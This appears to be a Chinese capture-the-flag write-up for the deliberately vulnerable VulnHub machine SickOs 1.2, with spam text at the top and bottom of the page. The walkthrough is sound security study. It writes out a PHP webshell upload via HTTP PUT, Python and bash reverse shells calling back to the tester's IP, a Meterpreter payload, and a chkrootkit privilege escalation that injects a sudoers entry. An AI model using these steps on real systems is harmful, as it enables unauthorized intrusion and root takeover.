最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

【攻略鴨】SickOs1.2_VulnHub靶機(jī)攻略

2022-10-28 21:05 作者:攻略鴨  | 我要投稿

本文內(nèi)容純屬虛構(gòu),B站攻略鴨求關(guān)注點(diǎn)贊支持!

測試機(jī)IP地址:192.168.0.111

外部信息收集

獲取靶機(jī)地址

sudo netdiscover -i eth0 -r 192.168.0.1/24

或者

sudo arp-scan -l

記錄靶機(jī)IP地址:192.168.0.105

端口掃描

Nmap結(jié)果:

22/tcp OpenSSH 5.9p1 Debian 5ubuntu1.8

80/tcp lighttpd 1.4.28

網(wǎng)站指紋

$ whatweb http://192.168.0.105/
http://192.168.0.105/ [200 OK] Country[RESERVED][ZZ], HTTPServer[lighttpd/1.4.28], IP[192.168.0.105], PHP[5.3.10-1ubuntu3.21], X-Powered-By[**PHP/5.3.10**-1ubuntu3.21], lighttpd[1.4.28]

目錄枚舉

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.0.105/FUZZ

結(jié)果:test ? ? ?Status: 301

訪問后發(fā)現(xiàn)該目錄文件列表。

HTTP方法探測

$ curl -v -X OPTIONS http://192.168.0.105/test/
* ? Trying 192.168.0.105:80...
* ? Connected to 192.168.0.105 (192.168.0.105) port 80 (#0)
> OPTIONS /test/ HTTP/1.1
> Host: 192.168.0.105
> User-Agent: curl/7.85.0
> Accept: */*
* Mark bundle as not supporting multiuse
?< HTTP/1.1 200 OK
?< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK

漏洞利用

PUT上傳

1.curl上傳webshell

上傳無害文件測試:

curl -v -X PUT -d "Testing 12" http://192.168.0.105/test/test.txt

上傳webshell:

curl http://192.168.0.105/test/ -T /home/kali/sickOS/shell.php -v

若返回201表示上傳成功

?。?!注意:發(fā)現(xiàn)返回417報錯。

有個觀點(diǎn)是:通過curl命令上傳本地文件時,由于curl會先發(fā)送一個帶Expect頭的報文,而Lighttpd不支持這個頭,因此無法上傳成功。

經(jīng)驗證,以下兩種方法都可以:

-H:'Expect:'

-0:默認(rèn)自動識別HTTP/x.x添加

curl http://192.168.0.105/test/ -T /home/kali/sickOS/shell.php -v -0
curl http://192.168.0.105/test/ -T /home/kali/sickOS/shell2.php -v -H 'Expect:'

2.BurpSuite上傳PHP一句話

開啟BurpSuite修改GET請求包

PUT /test/2.php HTTP/1.1

<?php system($_GET["cmd"])?>

返回:

HTTP/1.1 201 Created

利用PHP一句話和python反彈shell

http://192.168.0.105/test/2.php?cmd=id
http://192.168.0.105/test/2.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.111",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

?。?!注意:反彈shell時測試機(jī)端口僅能用443和8080,靶機(jī)防火墻僅允許了常見的Web端口。

3.nmap上傳reverse shell

修改/usr/share/webshells/php/php-reverse-shell.php配置IP及測試機(jī)端口443,上傳至靶機(jī)。

nmap -p80 192.168.0.105 --script http-put --script-args http-put.url='/test/shell2.php',http-put.file='/home/kali/sickOS/shell2.php'

訪問后使用測試機(jī):

nc -nvlp 443
echo $-
python -c 'import pty;pty.spawn("/bin/bash")'

4.MSF

msfvenom -p php/meterpreter/reverse tcp lhost=192.168.0.111 lport=443 >shell.php
curl [http://192.168.0.115/test/](http://192.168.0.105/test/) -T /home/kali/sickOS/shell.php -v
msf:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.0.111
LHOST => 192.168.0.111
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > exploit
meterpreter > shell
python -c 'import pty;pty.spawn("/bin/bash")'

權(quán)限提升

本地信息收集

Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux Ubuntu 12.04.4 LTS

查看計劃任務(wù):

ls -al /etc/cron*
#m h dom mon dow user command
17 * * * * root ? ?cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

/etc/cron.daily中發(fā)現(xiàn)chkrootkit

chkrootkit -V
chkrootkit version 0.49

chkrootkit漏洞

搜索漏洞searchsploit chkrootkit -t -w

發(fā)現(xiàn)0.49版本存在提權(quán)漏洞

漏洞原因:file_port="$file_port $i"處$file_port變量可能為空,缺少引號閉合。

修復(fù)建議:file_port="$file_port $i"

漏洞會導(dǎo)致運(yùn)行chkrootkit時,會以運(yùn)行chkrootkit的用戶的權(quán)限執(zhí)行/tmp/update文件

利用漏洞需要/tmp目錄有執(zhí)行權(quán)限。

前面查看過/etc/cron.daily以root權(quán)限運(yùn)行

寫入sudoers文件

將www-data用戶寫入sudoers。

echo 'echo "www-data ? ?ALL=NOPASSWD:ALL" >> /etc/sudoers' > /tmp/update
chmod +x /tmp/update

幾十秒后發(fā)現(xiàn)提權(quán)成功。

?。?!注意:計劃任務(wù)配置中看到/etc/cron.daily每天早晨6:25執(zhí)行,但結(jié)合/etc/cron.daily/chkrootkit、/etc/chkrootkit.conf可知/etc/cron.daily/chkrootkit并不會執(zhí)行,在獲取root權(quán)限后,查看/etc/cron.d:

cat /etc/cron.d/chkrootkit
* * * * * root /usr/sbin/chkrootkit

看到每分鐘執(zhí)行一次。

反彈root權(quán)限shell

$ nc -nvlp 8080 www-data@ubuntu:/tmp$ printf '#!/bin/bash\nbash -i >& /dev/tcp/192.168.0.111/8080 0>&1\n' > /tmp/update www-data@ubuntu:/tmp$ cat update #!/bin/bash bash -i >& /dev/tcp/192.168.0.111/8080 0>&1 www-data@ubuntu:/tmp$ chmod +x update

幾十秒后發(fā)現(xiàn)提權(quán)成功。

其他

防火墻規(guī)則

root@ubuntu:~# cat newRule
#Generated by iptables-save v1.4.12 on Mon Apr 25 22:48:24 2016
*filter
:INPUT DROP [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT DROP [0:0]
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 8080 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 443 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 22 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 80 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 8080 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT
COMMIT

過濾規(guī)則:

對于入站流量:只接收目的端口22、80,源端口8080、443

對于出站流量:只接收源端口22、80,目的端口8080、443

即:本地端口只允許22和80,外來端口只允許8080和443,用來保證對外部HTTP(s)服務(wù)的正常訪問

flag

root@ubuntu:~# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt

疑問求助

1.求個探測防火墻允許哪些外來端口的腳本;

2.我內(nèi)核版本提權(quán)失敗了,可以成功的朋友麻煩留言交流。

本文未經(jīng)作者同意禁止轉(zhuǎn)載!

文中所涉及的技術(shù)、思路和工具僅供以安全為目的的學(xué)習(xí)交流使用,任何人不得將其用于非法用途以及盈利等目的,否則后果自行承擔(dān)!

【攻略鴨】SickOs1.2_VulnHub靶機(jī)攻略的評論 (共 條)

分享到微博請遵守國家法律
岳西县| 北海市| 海门市| 福泉市| 彭州市| 都昌县| 阿克陶县| 故城县| 民丰县| 郧西县| 曲阳县| 林甸县| 林口县| 灌云县| 淮滨县| 鄂托克旗| 肃南| 湖口县| 柳江县| 安乡县| 鄯善县| 武汉市| 蚌埠市| 伊宁市| 安丘市| 郴州市| 六盘水市| 邢台市| 夏河县| 瓦房店市| 天气| 太保市| 舟山市| 天峨县| 武鸣县| 酒泉市| 双江| 讷河市| 广饶县| 永城市| 弥勒县|